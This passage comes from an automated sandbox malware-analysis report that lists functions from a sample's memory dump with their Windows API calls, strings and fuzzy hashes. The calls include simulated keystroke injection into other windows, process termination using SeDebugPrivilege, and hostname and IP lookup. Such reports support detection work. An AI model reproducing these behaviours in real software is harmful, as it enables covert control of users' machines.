Part of subcall function 0065C253: SetEvent.KERNEL32(?), ref: 0065C336
Part of subcall function 0065C253: InternetCloseHandle.WININET(00000000), ref: 0065C341

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: d3a3d1f9d6c75764ac591d73d65da573ec05dc4ce1f56d9bf10e58b18673e8e3
Instruction ID: 044a99d6c571981acbda733f5928b527658adf957606e089daefbf8369524df7
Opcode Fuzzy Hash: d3a3d1f9d6c75764ac591d73d65da573ec05dc4ce1f56d9bf10e58b18673e8e3
Instruction Fuzzy Hash: AF318F71200701AFDB259FA5DC44AA6BBFAFF58322F10441DFD5A86611DB30E958DBA0

Function 006425A2 Relevance: 13.6, APIs: 9, Instructions: 60sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00643A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00643A57
Part of subcall function 00643A3D: GetCurrentThreadId.KERNEL32 ref: 00643A5E
Part of subcall function 00643A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,006425B3), ref: 00643A65

MapVirtualKeyW.USER32(00000025,00000000), ref: 006425BD
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 006425DB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 006425DF
MapVirtualKeyW.USER32(00000025,00000000), ref: 006425E9
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00642601
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000), ref: 00642605
MapVirtualKeyW.USER32(00000025,00000000), ref: 0064260F
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00642623
Sleep.KERNEL32(00000000,?,00000101,00000027,00000000,?,00000100,00000027,00000000), ref: 00642627

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: cbf9cfe559824737038b9347b04d00f80f3266c1fa0059b8c274d726a234e0c4
Instruction ID: 5c95818e10cb0eb59892352eb63eea1c61444d6cd9355e4414d86eef6a52bd0b
Opcode Fuzzy Hash: cbf9cfe559824737038b9347b04d00f80f3266c1fa0059b8c274d726a234e0c4
Instruction Fuzzy Hash: F801D430390220BBFB106768DC8AF593F5ADF4EB22F501019F318AE1D1C9E22484DA69

Function 00641803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00641449,?,?,00000000), ref: 0064180C
HeapAlloc.KERNEL32(00000000,?,00641449,?,?,00000000), ref: 00641813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00641449,?,?,00000000), ref: 00641828
GetCurrentProcess.KERNEL32(?,00000000,?,00641449,?,?,00000000), ref: 00641830
DuplicateHandle.KERNEL32(00000000,?,00641449,?,?,00000000), ref: 00641833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00641449,?,?,00000000), ref: 00641843
GetCurrentProcess.KERNEL32(00641449,00000000,?,00641449,?,?,00000000), ref: 0064184B
DuplicateHandle.KERNEL32(00000000,?,00641449,?,?,00000000), ref: 0064184E
CreateThread.KERNEL32(00000000,00000000,00641874,00000000,00000000,00000000), ref: 00641868

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 5750034d011bc347229dac8647cb6a0eb440969b0e89242088df4e380e514827
Instruction ID: 34c26757027763f79b40eb35ffb079cb63c6407abf20580f897f1e6b3157fdb7
Opcode Fuzzy Hash: 5750034d011bc347229dac8647cb6a0eb440969b0e89242088df4e380e514827
Instruction Fuzzy Hash: 3D01CDB5240308BFE710AFB5DC4DF6B3BADEB89B21F415425FA09DB1A1DA709840CB20

Function 00613E80 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00613F0B
__alldvrm.LIBCMT ref: 0061410C
__alldvrm.LIBCMT ref: 0061412E

Strings

}}`, xrefs: 006140CD
}}`, xrefs: 00613E8A
}}`, xrefs: 00613E96, 00613EF1, 00613F0A, 00614090

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID: }}`$}}`$}}`
API String ID: 1036877536-2075275272
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: fe2b549521159d5d3f02242a4381776987007b657943d55c7321b2e254422827
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: BFA15672D00296AFD715CF18C8927FABBE6EF26350F1C41ADE5859B381CA3489C2C750

Function 0066A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0064D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 0064D501
Part of subcall function 0064D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 0064D50F
Part of subcall function 0064D4DC: CloseHandle.KERNELBASE(00000000), ref: 0064D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0066A16D
GetLastError.KERNEL32 ref: 0066A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0066A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0066A268
GetLastError.KERNEL32(00000000), ref: 0066A273
CloseHandle.KERNEL32(00000000), ref: 0066A2C4

Strings

SeDebugPrivilege, xrefs: 0066A18F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: d533e7da682cc7fa9ba8d424785ead5a60743c3f73f7048765f3c11916a5b028
Instruction ID: 81e1b9d3285d28dcf00df7b471c0ee29bce14baa4d92924d90e170df79ccd0ba
Opcode Fuzzy Hash: d533e7da682cc7fa9ba8d424785ead5a60743c3f73f7048765f3c11916a5b028
Instruction Fuzzy Hash: D161BF302042429FD724DF59C494F56BBE6AF44318F18849CE46A9B7A3C772ED86CF92

Function 00673886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00673925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0067393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00673954
_wcslen.LIBCMT ref: 00673999
SendMessageW.USER32(?,00001057,00000000,?), ref: 006739C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 006739F4

Strings

SysListView32, xrefs: 006738F7

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: 31580c2bdebb0311b2a18c7e5648bbaff2f62d9d0270c0031160bd668e1761ce
Instruction ID: b52dd5d61c549521825994efe80ba207884e87a5c433a368d6c56e76719cd72d
Opcode Fuzzy Hash: 31580c2bdebb0311b2a18c7e5648bbaff2f62d9d0270c0031160bd668e1761ce
Instruction Fuzzy Hash: E3417371A00219ABDB259F64CC49BEA7BAAFF08350F10452AF95CE7381D7719E80DB90

Function 0064BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0064BCFD
IsMenu.USER32(00000000), ref: 0064BD1D
CreatePopupMenu.USER32 ref: 0064BD53
GetMenuItemCount.USER32(019B5340), ref: 0064BDA4
InsertMenuItemW.USER32(019B5340,?,00000001,00000030), ref: 0064BDCC

Strings

2, xrefs: 0064BD37
0, xrefs: 0064BCA8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 99fc17549482c20f4031697f9abf6f5e22ed5ac1012511eabb5d9dfb89b6a7c9
Instruction ID: 342b1bebae37a842a1261442b16dc1fa2f1841bbe187d1d06493a0070ab42e87
Opcode Fuzzy Hash: 99fc17549482c20f4031697f9abf6f5e22ed5ac1012511eabb5d9dfb89b6a7c9
Instruction Fuzzy Hash: 5051AD70A002059BDF24DFA8D8C4BEEBBF6AF45324F146299E41597390D770D945CB61

Function 00602D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00602D4B
___except_validate_context_record.LIBVCRUNTIME ref: 00602D53
_ValidateLocalCookies.LIBCMT ref: 00602DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 00602E0C
_ValidateLocalCookies.LIBCMT ref: 00602E61

Strings

csm, xrefs: 00602DF6
&H`, xrefs: 00602DFE, 00602E07, 00602E18

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &H`$csm
API String ID: 1170836740-2734105892
Opcode ID: 93379882103f2cb62462647bb450fb6515095f187306e46a83fdabf6d019ec11
Instruction ID: 9ff78f4be1828ff277893d368e02f59c741e112d93dc32b9ac7a16252d655b8d
Opcode Fuzzy Hash: 93379882103f2cb62462647bb450fb6515095f187306e46a83fdabf6d019ec11
Instruction Fuzzy Hash: D441B634A4021AABCF18DF68C869ADFBBB7BF45324F148159E8146B3D2D7719E05CB90

Function 0064C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0064C913

Strings

warning, xrefs: 0064C8FC
info, xrefs: 0064C8B4
blank, xrefs: 0064C895
stop, xrefs: 0064C8E4
question, xrefs: 0064C8CC

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 9f6e5556f56141923fbe38cc93988c19199a14e82e436c23577b916eea16166d
Instruction ID: 348795ae5eab9b948e2b5a30ffed1c10de81dbda955d2439b12f12c472f15013
Opcode Fuzzy Hash: 9f6e5556f56141923fbe38cc93988c19199a14e82e436c23577b916eea16166d
Instruction Fuzzy Hash: AE112B3278A306BEE7586B18DC83CEB2B9EDF15334B10002EF504A63C2EF749D405668

Function 0064DE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 0064DE42
gethostname.WSOCK32(?,00000100), ref: 0064DE5C
gethostbyname.WSOCK32(?), ref: 0064DE69
inet_ntoa.WSOCK32(?), ref: 0064DEAB
_strcat.LIBCMT ref: 0064DEB9
WSACleanup.WSOCK32 ref: 0064DEDE

Strings

0.0.0.0, xrefs: 0064DE87

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: ef849064e4c2b49fa37aa491fe7f899e221babc7108251b5690e7c41d507a06c
Instruction ID: ae22aaec943d976cfa8dd2d6839e40ddbd5825b8e531f7dd91cf16b3bf131ccf
Opcode Fuzzy Hash: ef849064e4c2b49fa37aa491fe7f899e221babc7108251b5690e7c41d507a06c
Instruction Fuzzy Hash: 3E110671904105AFCB68AB60DC4AEEF77AEDF11720F01016DF509AA1D1EFB18A818B60

Function 0064ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0064ED2A
_wcslen.LIBCMT ref: 0064ED3B
_wcslen.LIBCMT ref: 0064ED79
_wcslen.LIBCMT ref: 0064EDAF
_wcslen.LIBCMT ref: 0064EDDF
_wcslen.LIBCMT ref: 0064EDEF
_wcslen.LIBCMT ref: 0064EE2B
_wcslen.LIBCMT ref: 0064EE5A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 7a648ebc5dd832a34623f2c0eefaeffcc99e6c72d8cbd6a005cd6ee3bb7de1bc
Instruction ID: 30faf002ca3a07471aaa69b0bde8800d20bfaeaf51f0222ac033bbeaed338358
Opcode Fuzzy Hash: 7a648ebc5dd832a34623f2c0eefaeffcc99e6c72d8cbd6a005cd6ee3bb7de1bc
Instruction Fuzzy Hash: 2C41D365C50218B5CB55EBF4C88A9CFB7AAAF05310F10856AF618E3161FB34E355C3E9

Function 005FF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0063682C,00000004,00000000,00000000), ref: 005FF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0063682C,00000004,00000000,00000000), ref: 0063F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0063682C,00000004,00000000,00000000), ref: 0063F454

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: f1a183fb5b134a6eb67a1584007997eca1c499f12fda255e2803b9769a35e7c2
Instruction ID: dbbc252f01b319c55ac2c60b0dcef6cf6f5e8331c0cd25f932c498f447242bd1
Opcode Fuzzy Hash: f1a183fb5b134a6eb67a1584007997eca1c499f12fda255e2803b9769a35e7c2
Instruction Fuzzy Hash: 29415D31604688BED7389B29CA9877B7F93BF46310F54543CE24B56E71C6BA98C0CB51

Function 00672D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00672D1B
GetDC.USER32(00000000), ref: 00672D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00672D2E
ReleaseDC.USER32(00000000,00000000), ref: 00672D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00672D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00672D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00675A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00672DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00672DE1

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: a54bbc0e8445de19c1467ce3b27a64057645d1a0b4ea95422e48d1b96126901c
Instruction ID: 6f0818e4e7ce795f4986b317368b0f18f6ec32d7d391d9fa32a4c2892c682879
Opcode Fuzzy Hash: a54bbc0e8445de19c1467ce3b27a64057645d1a0b4ea95422e48d1b96126901c
Instruction Fuzzy Hash: 43317F72201214BFEB258F50CC89FEB3BAAEF09725F044059FE0C9A291D6759C90C7A4

Function 00645622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00645637
_memcmp.LIBVCRUNTIME ref: 00645659
_memcmp.LIBVCRUNTIME ref: 00645671
_memcmp.LIBVCRUNTIME ref: 00645684
_memcmp.LIBVCRUNTIME ref: 0064569E
_memcmp.LIBVCRUNTIME ref: 006456B1
_memcmp.LIBVCRUNTIME ref: 006456C9
_memcmp.LIBVCRUNTIME ref: 006456E4

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: dd74d967965bd07f929ded3e5a358caeeb2fd83677c12d29a64f234893c0f010
Instruction ID: 355c2821a35739f5d1b7e3febe1ed8bdbd9fd0e9e9ab5632f43b2bddc71544cc
Opcode Fuzzy Hash: dd74d967965bd07f929ded3e5a358caeeb2fd83677c12d29a64f234893c0f010
Instruction Fuzzy Hash: A821F861680A0977D31C56104EA2FFB334FEF22784F454034FD0A5A683FB21ED1285A9

Function 00664FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00665007
NULL Pointer assignment, xrefs: 0066502E, 00665383

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: b25844e113c72a5a2419f7ba7ed0c323219da8a1385382d94c5b82e5a932a406
Instruction ID: bbc93de774269523e4ba780df82c812370b76691c6cce539e10639ae092fa2c6
Opcode Fuzzy Hash: b25844e113c72a5a2419f7ba7ed0c323219da8a1385382d94c5b82e5a932a406
Instruction Fuzzy Hash: E3D1B571A0060AAFDF14DF98C882BEEB7B6BF48354F148069E916AB381E771DD45CB50

Function 00621522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,006217FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 006215CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,006217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00621651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,006217FB,?,006217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 006216E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,006217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 006216FB

Part of subcall function 00613820: RtlAllocateHeap.NTDLL(00000000,?,006B1444,?,005FFDF5,?,?,005EA976,00000010,006B1440,005E13FC,?,005E13C6,?,005E1129), ref: 00613852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,006217FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00621777
__freea.LIBCMT ref: 006217A2
__freea.LIBCMT ref: 006217AE

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

